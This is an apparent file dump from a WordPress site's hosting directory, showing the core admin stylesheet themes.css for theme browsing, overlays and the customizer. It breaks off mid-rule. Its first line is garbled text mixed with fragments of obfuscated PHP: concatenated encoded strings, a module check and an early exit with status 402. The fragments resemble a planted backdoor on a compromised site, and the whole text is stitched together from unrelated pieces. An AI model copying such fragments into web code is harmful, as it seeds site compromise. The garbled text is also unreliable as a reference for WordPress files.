财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/css/themes.css
/*------------------------------------------------------------------------------
  16.0 - Themes
------------------------------------------------------------------------------*/


/*------------------------------------------------------------------------------
  16.1 - Manage Themes
------------------------------------------------------------------------------*/

.themes-php {
	overflow-y: scroll;
}

.themes-php #adminmenuwrap {
	z-index: 10001; /* above Theme Overlay */
}

body.js .theme-browser.search-loading {
	display: none;
}

.theme-browser .themes {
	clear: both;
}

.themes-php .wrap h1 .button {
	margin-left: 20px;
}

/* Search form */
.themes-php .search-form {
	display: inline-flex;
	align-items: center;
	position: relative;
	top: 0;
	gap: .5rem;
	width: 100%;
	justify-content: end;
}

.themes-php .wp-filter-search {
	position: relative;
	margin: 0;
	width: 280px;
}

/* Position admin messages */
.theme .notice,
.theme .notice.is-dismissible {
	left: 0;
	margin: 0;
	position: absolute;
	right: 0;
	top: 0;
}

/**
 * Main theme element
 * (has flexible margins)
 */
.theme-browser .theme {
	cursor: pointer;
	float: left;
	margin: 0 4% 4% 0;
	position: relative;
	width: 30.6%;
	border: 1px solid #dcdcde;
	box-shadow: 0 1px 1px -1px rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme:nth-child(3n) {
	margin-right: 0;
}

.theme-browser .theme:hover,
.theme-browser .theme.focus {
	cursor: pointer;
}

.theme-browser .theme .theme-name {
	font-size: 15px;
	font-weight: 600;
	height: 18px;
	margin: 0;
	padding: 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
	background: #fff;
	background: rgba(255, 255, 255, 0.65);
}

/* Activate and Customize buttons, shown on hover and focus */
.theme-browser .theme .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	transition: opacity 0.1s ease-in-out;
	height: auto;
	background: rgba(246, 247, 247, 0.7);
	border-left: 1px solid rgba(0, 0, 0, 0.05);
}

.theme-browser .theme:hover .theme-actions,
.theme-browser .theme.focus .theme-actions {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

.theme-browser .theme .theme-actions .button-primary {
	margin-right: 3px;
}

.theme-browser .theme .theme-actions .button {
	float: none;
	margin-left: 3px;
}

/**
 * Theme Screenshot
 *
 * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size
 * It is also responsive.
 */
.theme-browser .theme .theme-screenshot {
	display: block;
	overflow: hidden;
	position: relative;
	-webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme .theme-screenshot:after {
	content: "";
	display: block;
	padding-top: 66.66666%; /* using a 3/2 aspect ratio */
}

.theme-browser .theme .theme-screenshot img {
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	transition: opacity 0.2s ease-in-out;
}

.theme-browser .theme:hover .theme-screenshot,
.theme-browser .theme.focus .theme-screenshot {
	background: #fff;
}

.theme-browser.rendered .theme:hover .theme-screenshot img,
.theme-browser.rendered .theme.focus .theme-screenshot img {
	opacity: 0.4;
}

.theme-browser .theme .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	opacity: 0;
	position: absolute;
	top: 35%;
	right: 20%;
	left: 20%;
	width: 60%;
	background: #1d2327;
	background: rgba(0, 0, 0, 0.7);
	color: #fff;
	font-size: 15px;
	text-shadow: 0 1px 0 rgba(0, 0, 0, 0.6);
	-webkit-font-smoothing: antialiased;
	font-weight: 600;
	padding: 15px 12px;
	text-align: center;
	border-radius: 3px;
	border: none;
	transition: opacity 0.1s ease-in-out;
	cursor: pointer;
}

.theme-browser .theme .more-details:focus {
	box-shadow: 0 0 0 2px #2271b1;
}

.theme-browser .theme.focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.theme-browser .theme.focus .more-details {
	opacity: 1;
}

/* Current theme needs to have its action always on view */
.theme-browser .theme.active.focus .theme-actions {
	display: block;
}

.theme-browser.rendered .theme:hover .more-details,
.theme-browser.rendered .theme.focus .more-details {
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
	opacity: 1;
}

/**
 * The currently active theme
 */
.theme-browser .theme.active .theme-name {
	background: #1d2327;
	color: #fff;
	padding-right: 110px;
	font-weight: 300;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.5);
}

.theme-browser .customize-control .theme.active .theme-name {
	padding-right: 15px;
}

.theme-browser .theme.active .theme-name span {
	font-weight: 600;
}

.theme-browser .theme.active .theme-actions {
	background: rgba(44, 51, 56, 0.7);
	border-left: none;
	opacity: 1;
}

.theme-id-container {
	position: relative;
}

.theme-browser .theme.active .theme-actions,
.theme-browser .theme .theme-actions {
	position: absolute;
	top: 50%;
	transform: translateY(-50%);
	right: 0;
	padding: 9px 15px;
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1);
}

.theme-browser .theme.active .theme-actions .button-primary {
	margin-right: 0;
}

.theme-browser .theme .theme-author {
	background: #1d2327;
	color: #f0f0f1;
	display: none;
	font-size: 14px;
	margin: 0 10px;
	padding: 5px 10px;
	position: absolute;
	bottom: 56px;
}

.theme-browser .theme.display-author .theme-author {
	display: block;
}

.theme-browser .theme.display-author .theme-author a {
	color: inherit;
}

/**
 * Add new theme
 */
.theme-browser .theme.add-new-theme {
	border: none;
	box-shadow: none;
}

.theme-browser .theme.add-new-theme a {
	text-decoration: none;
	display: block;
	position: relative;
	z-index: 1;
}

.theme-browser .theme.add-new-theme a:after {
	display: block;
	content: "";
	background: transparent;
	background: rgba(0, 0, 0, 0);
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	padding: 0;
	text-shadow: none;
	border: 5px dashed #dcdcde;
	border: 5px dashed rgba(0, 0, 0, 0.1);
	box-sizing: border-box;
}

.theme-browser .theme.add-new-theme span:after {
	background: #dcdcde;
	background: rgba(140, 143, 148, 0.1);
	border-radius: 50%;
	display: inline-block;
	content: "\f132";
	-webkit-font-smoothing: antialiased;
	font: normal 74px/115px dashicons;
	width: 100px;
	height: 100px;
	vertical-align: middle;
	text-align: center;
	color: #8c8f94;
	position: absolute;
	top: 30%;
	left: 50%;
	margin-left: -50px;
	text-indent: -4px;
	padding: 0;
	text-shadow: none;
	z-index: 4;
}

.rtl .theme-browser .theme.add-new-theme span:after {
	text-indent: 4px;
}

.theme-browser .theme.add-new-theme a:hover .theme-screenshot,
.theme-browser .theme.add-new-theme a:focus .theme-screenshot {
	background: none;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
	background: #fff;
	color: #2271b1;
}

.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
	border-color: transparent;
	color: #fff;
	background: #2271b1;
	content: "";
}

.theme-browser .theme.add-new-theme .theme-name {
	background: none;
	text-align: center;
	box-shadow: none;
	font-weight: 400;
	position: relative;
	top: 0;
	margin-top: -18px;
	padding-top: 0;
	padding-bottom: 48px;
}

.theme-browser .theme.add-new-theme a:hover .theme-name,
.theme-browser .theme.add-new-theme a:focus .theme-name {
	color: #fff;
	z-index: 2;
}

/**
 * Theme Overlay
 * Shown when clicking a theme
 */
.theme-overlay .theme-backdrop {
	position: absolute;
	left: -20px;
	right: 0;
	top: 0;
	bottom: 0;
	background: #f0f0f1;
	background: rgba(240, 240, 241, 0.9);
	z-index: 10000; /* Over WP Pointers. */
	min-height: calc(100vh - var(--wp-admin--admin-bar--height, 32px));
}

.theme-overlay .theme-header {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	height: 48px;
	border-bottom: 1px solid #dcdcde;
}

.theme-overlay .theme-header button {
	padding: 0;
}

.theme-overlay .theme-header .close {
	cursor: pointer;
	height: 48px;
	width: 50px;
	text-align: center;
	float: right;
	border: 0;
	border-left: 1px solid #dcdcde;
	background-color: transparent;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:before {
	font: normal 22px/50px dashicons !important;
	color: #787c82;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
}

/* Left and right navigation */
.theme-overlay .theme-header .right,
.theme-overlay .theme-header .left {
	cursor: pointer;
	color: #787c82;
	background-color: transparent;
	height: 48px;
	width: 54px;
	float: left;
	text-align: center;
	border: 0;
	border-right: 1px solid #dcdcde;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .close:hover,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .right:hover,
.theme-overlay .theme-header .left:focus,
.theme-overlay .theme-header .left:hover {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
}

.theme-overlay .theme-header .close:focus:before,
.theme-overlay .theme-header .close:hover:before {
	color: #000;
}

.theme-overlay .theme-header .close:focus,
.theme-overlay .theme-header .right:focus,
.theme-overlay .theme-header .left:focus {
	box-shadow: none;
	outline: none;
}

.theme-overlay .theme-header .left.disabled,
.theme-overlay .theme-header .right.disabled,
.theme-overlay .theme-header .left.disabled:hover,
.theme-overlay .theme-header .right.disabled:hover {
	color: #c3c4c7;
	background: inherit;
	cursor: inherit;
}

.theme-overlay .theme-header .right:before,
.theme-overlay .theme-header .left:before {
	font: normal 20px/50px dashicons !important;
	display: inline;
	font-weight: 300;
}

.theme-overlay .theme-header .left:before {
	content: "\f341";
}

.theme-overlay .theme-header .right:before {
	content: "\f345";
}

.theme-overlay .theme-wrap {
	clear: both;
	position: fixed;
	top: 9%;
	left: 190px;
	right: 30px;
	bottom: 3%;
	background: #fff;
	box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
	z-index: 10000; /* Over WP Pointers. */
	box-sizing: border-box;
	-webkit-overflow-scrolling: touch;
}

body.folded .theme-browser ~ .theme-overlay .theme-wrap {
	left: 70px;
}

.theme-overlay .theme-about {
	position: absolute;
	top: 49px;
	bottom: 57px;
	left: 0;
	right: 0;
	overflow: auto;
	padding: 2% 4%;
}

.theme-overlay .theme-actions {
	position: absolute;
	text-align: center;
	bottom: 0;
	left: 0;
	right: 0;
	padding: 10px 25px 5px;
	background: #f6f7f7;
	z-index: 30;
	box-sizing: border-box;
	border-top: 1px solid #f0f0f1;
	display: flex;
	justify-content: center;
	gap: 5px;
}

.theme-overlay .theme-actions .button {
	margin-bottom: 5px;
}

/* Hide-if-customize for items we can't add classes to */
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"],
.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"] {
	display: none;
}

.broken-themes a.delete-theme,
.theme-overlay .theme-actions .delete-theme {
	color: #b32d2e;
	text-decoration: none;
	border-color: transparent;
	box-shadow: none;
	background: transparent;
}

.broken-themes a.delete-theme:hover,
.broken-themes a.delete-theme:focus,
.theme-overlay .theme-actions .delete-theme:hover,
.theme-overlay .theme-actions .delete-theme:focus {
	background: #b32d2e;
	color: #fff;
	border-color: #b32d2e;
	box-shadow: 0 0 0 1px #b32d2e;
}

.theme-overlay .theme-actions .active-theme,
.theme-overlay.active .theme-actions .inactive-theme {
	display: none;
}

.theme-overlay .theme-actions .inactive-theme,
.theme-overlay.active .theme-actions .active-theme {
	display: block;
}

/**
 * Theme Screenshots gallery
 */
.theme-overlay .theme-screenshots {
	float: left;
	margin: 0 30px 0 0;
	width: 55%;
	max-width: 1200px; /* Recommended theme screenshot width, set here to avoid stretching */
	text-align: center;
}

/* First screenshot, shown big */
.theme-overlay .screenshot {
	border: 1px solid #fff;
	box-sizing: border-box;
	overflow: hidden;
	position: relative;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.2);
}

.theme-overlay .screenshot:after {
	content: "";
	display: block;
	padding-top: 75%; /* using a 4/3 aspect ratio */
}

.theme-overlay .screenshot img {
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
}
/* Handles old 300px screenshots */
.theme-overlay.small-screenshot .theme-screenshots {
	position: absolute;
	width: 302px;
}
.theme-overlay.small-screenshot .theme-info {
	margin-left: 350px;
	width: auto;
}

/* Other screenshots, shown small and square */
.theme-overlay .screenshot.thumb {
	background: #c3c4c7;
	border: 1px solid #f0f0f1;
	float: none;
	display: inline-block;
	margin: 10px 5px 0;
	width: 140px;
	height: 80px;
	cursor: pointer;
}

.theme-overlay .screenshot.thumb:after {
	content: "";
	display: block;
	padding-top: 100%; /* using a 1/1 aspect ratio */
}

.theme-overlay .screenshot.thumb img {
	cursor: pointer;
	height: auto;
	position: absolute;
	left: 0;
	top: 0;
	width: 100%;
	height: auto;
}

.theme-overlay .screenshot.selected {
	background: transparent;
	border: 2px solid #72aee6;
}

.theme-overlay .screenshot.selected img {
	opacity: 0.8;
}

/* No screenshot placeholder */
.theme-browser .theme .theme-screenshot.blank,
.theme-overlay .screenshot.blank {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=);
}

/**
 * Theme heading information
 */
.theme-overlay .theme-info {
	width: 40%;
	float: left;
}

.theme-overlay .current-label {
	background: #2c3338;
	color: #fff;
	font-size: 11px;
	display: inline-block;
	padding: 2px 8px;
	border-radius: 2px;
	margin: 0 0 -10px;
	-webkit-user-select: none;
	user-select: none;
}

.theme-overlay .theme-name {
	color: #1d2327;
	font-size: 32px;
	font-weight: 100;
	margin: 10px 0 0;
	line-height: 1.3;
	word-wrap: break-word;
	overflow-wrap: break-word;
}

.theme-overlay .theme-version {
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	float: none;
	display: inline-block;
	margin-left: 10px;
}

.theme-overlay .theme-author {
	margin: 15px 0 25px;
	color: #646970;
	font-size: 16px;
	font-weight: 400;
	line-height: inherit;
}

.theme-overlay .toggle-auto-update {
	/* Better align spin icon and text. */
	display: inline-flex;
	align-items: center;
	/* Prevents content after the auto-update toggler from jumping down and up. */
	min-height: 20px; /* Same height as the spinning dashicon. */
	vertical-align: top;
}

.theme-overlay .theme-autoupdate .toggle-auto-update {
	text-decoration: none;
}

.theme-overlay .theme-autoupdate .toggle-auto-update .label {
	text-decoration: underline;
}

.theme-overlay .theme-description {
	color: #50575e;
	font-size: 15px;
	font-weight: 400;
	line-height: 1.5;
	margin: 30px 0 0;
}

.theme-overlay .theme-tags {
	border-top: 3px solid #f0f0f1;
	color: #646970;
	font-size: 13px;
	font-weight: 400;
	margin: 30px 0 0;
	padding-top: 20px;
}

.theme-overlay .theme-tags span {
	color: #3c434a;
	font-weight: 600;
	margin-right: 5px;
}

.theme-overlay .parent-theme {
	background: #fff;
	border: 1px solid #f0f0f1;
	border-left: 4px solid #72aee6;
	font-size: 14px;
	font-weight: 400;
	margin-top: 30px;
	padding: 10px 10px 10px 20px;
}

.theme-overlay .parent-theme strong {
	font-weight: 600;
}

/**
 * Single Theme Mode
 * Displays detailed view inline when a user has no switch capabilities
 */
.single-theme .theme-overlay .theme-backdrop,
.single-theme .theme-overlay .theme-header,
.single-theme .theme {
	display: none;
}

.single-theme .theme-overlay .theme-wrap {
	clear: both;
	min-height: 330px;
	position: relative;
	left: auto;
	right: auto;
	top: auto;
	bottom: auto;
	z-index: 10;
}

.single-theme .theme-overlay .theme-about {
	padding: 30px 30px 70px;
	position: static;
}

.single-theme .theme-overlay .theme-actions {
	position: absolute;
}

/**
 * Basic Responsive structure...
 *
 * Shuffles theme columns around based on screen width
 */

@media only screen and (min-width: 2000px) {
	#wpwrap .theme-browser .theme {
		width: 17.6%;
		margin: 0 3% 3% 0;
	}

	#wpwrap .theme-browser .theme:nth-child(3n),
	#wpwrap .theme-browser .theme:nth-child(4n) {
		margin-right: 3%;
	}

	#wpwrap .theme-browser .theme:nth-child(5n) {
		margin-right: 0;
	}
}

@media only screen and (min-width: 1680px) {
	.theme-overlay .theme-wrap {
		width: 1450px;
		margin: 0 auto;
	}
}

/* Maximum screenshot width reaches 440px */
@media only screen and (min-width: 1640px) {
	.theme-browser .theme {
		width: 22.7%;
		margin: 0 3% 3% 0;
	}
	.theme-browser .theme .theme-screenshot:after {
		padding-top: 75%; /* using a 4/3 aspect ratio */
	}

	.theme-browser .theme:nth-child(3n) {
		margin-right: 3%;
	}

	.theme-browser .theme:nth-child(4n) {
		margin-right: 0;
	}
}
/* Maximum screenshot width reaches 440px */
@media only screen and (max-width: 1120px) {
	.theme-browser .theme {
		width: 47.5%;
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(even) {
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(odd) {
		margin-right: 5%;
	}
}

/* Admin menu is folded */
@media only screen and (max-width: 960px) {
	.theme-overlay .theme-wrap {
		left: 65px;
	}
}

@media only screen and (max-width: 782px) {
	body.folded .theme-overlay .theme-wrap,
	.theme-overlay .theme-wrap {
		top: 0; /* The adminmenu isn't fixed on mobile, so this can use the full viewport height */
		right: 0;
		bottom: 0;
		left: 0;
		padding: 70px 20px 20px;
		border: none;
		z-index: 100000; /* should overlap #wpadminbar. */
		position: fixed;
	}

	.theme-browser .theme.active .theme-name span {
		/* Hide the "Active: " label on smaller screens. */
		display: none;
	}

	.theme-overlay .theme-screenshots {
		width: 40%;
	}

	.theme-overlay .theme-info {
		width: 50%;
	}
	.single-theme .theme-wrap {
		padding: 10px;
	}

	.theme-browser .theme .theme-actions {
		padding: 5px 10px 4px;
	}

	.theme-overlay.small-screenshot .theme-screenshots {
		position: static;
		float: none;
		max-width: 302px;
	}

	.theme-overlay.small-screenshot .theme-info {
		margin-left: 0;
		width: auto;
	}

	.theme:not(.active):hover .theme-actions,
	.theme:not(.active):focus .theme-actions,
	.theme:hover .more-details,
	.theme.focus .more-details {
		display: none;
	}

	.theme-browser.rendered .theme:hover .theme-screenshot img,
	.theme-browser.rendered .theme.focus .theme-screenshot img {
		opacity: 1.0;
	}
}

@media only screen and (max-width: 480px) {
	.theme-browser .theme {
		width: 100%;
		margin-right: 0;
	}

	.theme-browser .theme:nth-child(2n),
	.theme-browser .theme:nth-child(3n) {
		margin-right: 0;
	}

	.theme-overlay .theme-about {
		bottom: 105px;
	}

	.theme-overlay .theme-actions {
		padding-left: 4%;
		padding-right: 4%;
	}

	.theme-install-php .wp-filter .filter-count {
		margin-top: 10px;
	}
}

@media only screen and (max-width: 650px) {
	.theme-overlay .theme-description {
		margin-left: 0;
	}

	.theme-overlay .theme-actions .delete-theme {
		position: relative;
		right: auto;
		bottom: auto;
	}

	.theme-overlay .theme-actions .inactive-theme {
		display: inline;
	}

	.theme-overlay .theme-screenshots {
		width: 100%;
		float: none;
		margin: 0;
	}

	.theme-overlay .theme-info {
		width: 100%;
	}

	.theme-overlay .theme-author {
		margin: 5px 0 15px;
	}

	.theme-overlay .current-label {
		margin-top: 10px;
		font-size: 13px;
	}

	.themes-php .wp-filter-search {
		float: none;
		clear: both;
		left: 0;
		right: 0;
		width: 100%;
		max-width: 280px;
	}

	.theme-install-php .wp-filter p.search-box {
		display: grid;
		row-gap: .5rem;
	}

	.theme-browser .theme.add-new-theme span:after {
		font: normal 60px/90px dashicons;
		width: 80px;
		height: 80px;
		top: 30%;
		left: 50%;
		text-indent: 0;
		margin-left: -40px;
	}

	.single-theme .theme-wrap {
		margin: 0 -12px 0 -10px;
		padding: 10px;
	}
	.single-theme .theme-overlay .theme-about {
		padding: 10px;
		overflow: visible;
	}
	.single-theme .current-label {
		display: none;
	}
	.single-theme .theme-overlay .theme-actions {
		position: static;
	}
}

.broken-themes {
	clear: both;
}

.broken-themes table {
	text-align: left;
	width: 50%;
	border-spacing: 3px;
	padding: 3px;
}


/*------------------------------------------------------------------------------
  16.2 - Install Themes
------------------------------------------------------------------------------*/

.update-php .wrap {
	max-width: 40rem;
}

/* Already installed theme */
.theme-browser .theme .theme-installed {
	background: #2271b1;
}

.theme-browser .theme .notice-success p:before {
	color: #68de7c;
	content: "\f147";
	display: inline-block;
	font: normal 20px/1 'dashicons';
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: top;
}

.theme-install.updated-message:before {
	content: "";
}

.theme-install-php .wp-filter {
	padding-left: 20px;
}

/* Override column gap adjustment in media library. */
@media only screen and (max-width: 1000px) {
	.theme-install-php .wp-filter p.search-box {
		column-gap: .5rem;
	}
}

.theme-install-php a.upload,
.theme-install-php a.browse-themes {
	cursor: pointer;
}

.upload-view-toggle .browse,
.plugin-install-tab-upload .upload-view-toggle .upload {
	display: none;
}

.plugin-install-tab-upload .upload-view-toggle .browse {
	display: inline;
}

.upload-theme,
.upload-plugin {
	box-sizing: border-box;
	display: none;
	margin: 0;
	padding: 50px 0;
	width: 100%;
	overflow: hidden;
	position: relative;
	top: 10px;
	text-align: center;
}

.show-upload-view .upload-theme,
.show-upload-view .upload-plugin,
.show-upload-view .upload-plugin-wrap,
.plugin-install-tab-upload .upload-plugin {
	display: block;
}

.upload-theme .wp-upload-form,
.upload-plugin .wp-upload-form {
	background: #f6f7f7;
	border: 1px solid #c3c4c7;
	padding: 30px;
	margin: 30px auto;
	display: inline-flex;
	justify-content: space-between;
	align-items: center;
}

.upload-theme .wp-upload-form input[type="file"],
.upload-plugin .wp-upload-form input[type="file"] {
	margin-right: 10px;
}

.upload-theme .install-help,
.upload-plugin .install-help {
	color: #50575e; /* #f1f1f1 background */
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 0;
	text-align: center;
}

p.no-themes,
p.no-themes-local {
	clear: both;
	color: #646970;
	font-size: 18px;
	font-style: normal;
	margin: 0;
	padding: 100px 0;
	text-align: center;
	display: none;
}

.no-results p.no-themes {
	display: block;
}

.theme-install-php .add-new-theme {
	display: none !important;
}

@media only screen and (max-width: 1120px) {
	.upload-theme .wp-upload-form {
		margin: 20px 0;
		max-width: 100%;
	}
	.upload-theme .install-help {
		font-size: 15px;
		padding: 20px 0 0;
	}
}

.theme-details .theme-rating {
	line-height: 1.9;
}

.theme-details .star-rating {
	display: inline;
}

.theme-details .num-ratings,
.theme-details .no-rating {
	font-size: 11px;
	color: #646970;
}

.theme-details .no-rating {
	display: block;
	line-height: 1.9;
}

.update-from-upload-comparison {
	border-top: 1px solid #dcdcde;
	border-bottom: 1px solid #dcdcde;
	text-align: left;
	margin: 1rem 0 1.4rem;
	border-collapse: collapse;
	width: 100%;
}

.update-from-upload-comparison tr:last-child td {
	height: 1.4rem;
    vertical-align: top;
}

.update-from-upload-comparison tr:first-child th {
	font-weight: bold;
	height: 1.4rem;
    vertical-align: bottom;
}

.update-from-upload-comparison td.name-label {
	text-align: right;
}

.update-from-upload-comparison td,
.update-from-upload-comparison th {
	padding: 0.4rem 1.4rem;
}

.update-from-upload-comparison td.warning {
	color: #d63638;
}

.update-from-upload-actions {
	margin-top: 1.4rem;
}

/*------------------------------------------------------------------------------
  16.3 - Custom Header Screen
------------------------------------------------------------------------------*/

.appearance_page_custom-header #headimg {
	border: 1px solid #dcdcde;
	overflow: hidden;
	width: 100%;
}

.appearance_page_custom-header #upload-form p label {
	font-size: 12px;
}

.appearance_page_custom-header .available-headers .default-header {
	float: left;
	margin: 0 20px 20px 0;
}

.appearance_page_custom-header .random-header {
	clear: both;
	margin: 0 20px 20px 0;
	vertical-align: middle;
}

.appearance_page_custom-header .available-headers label input,
.appearance_page_custom-header .random-header label input {
	margin-right: 10px;
}

.appearance_page_custom-header .available-headers label img {
	vertical-align: middle;
}


/*------------------------------------------------------------------------------
  16.4 - Custom Background Screen
------------------------------------------------------------------------------*/

div#custom-background-image {
	min-height: 100px;
	border: 1px solid #dcdcde;
}

div#custom-background-image img {
	max-width: 400px;
	max-height: 300px;
}

.background-position-control input[type="radio"]:checked ~ .button {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	z-index: 1;
}

.background-position-control input[type="radio"]:focus ~ .button {
	border-color: #4f94d4;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 3px rgba(34, 113, 177, 0.8);
	color: #1d2327;
}

.background-position-control .background-position-center-icon,
.background-position-control .background-position-center-icon:before {
	display: inline-block;
	line-height: 1;
	text-align: center;
	transition: background-color .1s ease-in;
}

.background-position-control .background-position-center-icon {
	height: 20px;
	margin-top: 13px;
	vertical-align: top;
	width: 20px;
}

.background-position-control .background-position-center-icon:before {
	background-color: #50575e;
	border-radius: 50%;
	content: "";
	height: 12px;
	width: 12px;
}

.background-position-control .button:hover .background-position-center-icon:before,
.background-position-control input[type="radio"]:focus ~ .button .background-position-center-icon:before {
	background-color: #1d2327;
}

.background-position-control .button-group {
	display: block;
}

.background-position-control .button-group .button {
	border-radius: 0;
	box-shadow: none;
	/* Following properties are overridden by buttons responsive styles (see: wp-includes/css/buttons.css). */
	height: 40px !important;
	line-height: 2.9 !important;
	margin: 0 -1px 0 0 !important;
	padding: 0 10px 1px !important;
	position: relative;
}

.background-position-control .button-group .button:active,
.background-position-control .button-group .button:hover,
.background-position-control .button-group .button:focus {
	z-index: 1;
}

.background-position-control .button-group:last-child .button {
	box-shadow: 0 1px 0 #c3c4c7;
}

.background-position-control .button-group > label {
	margin: 0 !important;
}

.background-position-control .button-group:first-child > label:first-child .button {
	border-radius: 3px 0 0;
}

.background-position-control .button-group:first-child > label:first-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group:first-child > label:last-child .button {
	border-radius: 0 3px 0 0;
}

.background-position-control .button-group:first-child > label:last-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group:last-child > label:first-child .button {
	border-radius: 0 0 0 3px;
}

.background-position-control .button-group:last-child > label:first-child .dashicons {
	transform: rotate( -45deg );
}

.background-position-control .button-group:last-child > label:last-child .button {
	border-radius: 0 0 3px;
}

.background-position-control .button-group:last-child > label:last-child .dashicons {
	transform: rotate( 45deg );
}

.background-position-control .button-group .dashicons {
	margin-top: 9px;
}

.background-position-control .button-group + .button-group {
	margin-top: -1px;
}

/*------------------------------------------------------------------------------
  23.0 - Full Overlay w/ Sidebar
------------------------------------------------------------------------------*/

body.full-overlay-active {
	overflow: hidden;
	/* Hide all the content, the Customizer overlay is then made visible to be the only available content. */
	visibility: hidden;
}

.wp-full-overlay {
	background: transparent;
	z-index: 500000;
	position: fixed;
	overflow: visible;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	height: 100%;
	min-width: 0;
}

.wp-full-overlay-sidebar {
	box-sizing: border-box;
	position: fixed;
	min-width: 300px;
	max-width: 600px;
	width: 18%;
	height: 100%;
	top: 0;
	bottom: 0;
	left: 0;
	padding: 0;
	margin: 0;
	z-index: 10;
	background: #f0f0f1;
	border-right: none;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	overflow: visible;
}

.wp-full-overlay.collapsed,
.wp-full-overlay.expanded .wp-full-overlay-sidebar {
	margin-left: 0 !important;
}

.wp-full-overlay.expanded {
	margin-left: 300px;
}

.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
	margin-left: -300px;
}

@media screen and (min-width: 1667px) {
	.wp-full-overlay.expanded {
		margin-left: 18%;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-left: -18%;
	}
}

@media screen and (min-width: 3333px) {
	.wp-full-overlay.expanded {
		margin-left: 600px;
	}

	.wp-full-overlay.collapsed .wp-full-overlay-sidebar {
		margin-left: -600px;
	}
}

.wp-full-overlay-sidebar:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	width: 3px;
	z-index: 1000;
}

.wp-full-overlay-main {
	position: absolute;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	height: 100%;
}

.wp-full-overlay-sidebar .wp-full-overlay-header {
	position: absolute;
	left: 0;
	right: 0;
	height: 45px;
	padding: 0 15px;
	line-height: 3.2;
	z-index: 10;
	margin: 0;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-header a.back {
	margin-top: 9px;
}

.wp-full-overlay-sidebar .wp-full-overlay-footer {
	bottom: 0;
	border-bottom: none;
	border-top: none;
	box-shadow: none;
}

.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content {
	position: absolute;
	top: 45px;
	bottom: 45px;
	left: 0;
	right: 0;
	overflow: auto;
}

/* Close & Navigation Links */
.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header {
	padding: 0;
}

.theme-install-overlay .close-full-overlay,
.theme-install-overlay .previous-theme,
.theme-install-overlay .next-theme {
	display: block;
	position: relative;
	float: left;
	width: 45px;
	height: 45px;
	background: #f0f0f1;
	border-right: 1px solid #dcdcde;
	color: #3c434a;
	cursor: pointer;
	text-decoration: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.theme-install-overlay .close-full-overlay:hover,
.theme-install-overlay .close-full-overlay:focus,
.theme-install-overlay .previous-theme:hover,
.theme-install-overlay .previous-theme:focus,
.theme-install-overlay .next-theme:hover,
.theme-install-overlay .next-theme:focus {
	background: #dcdcde;
	border-color: #c3c4c7;
	color: #000;
	outline: none;
	box-shadow: none;
}

.theme-install-overlay .close-full-overlay:before {
	font: normal 22px/1 dashicons;
	content: "\f335";
	position: relative;
	top: 7px;
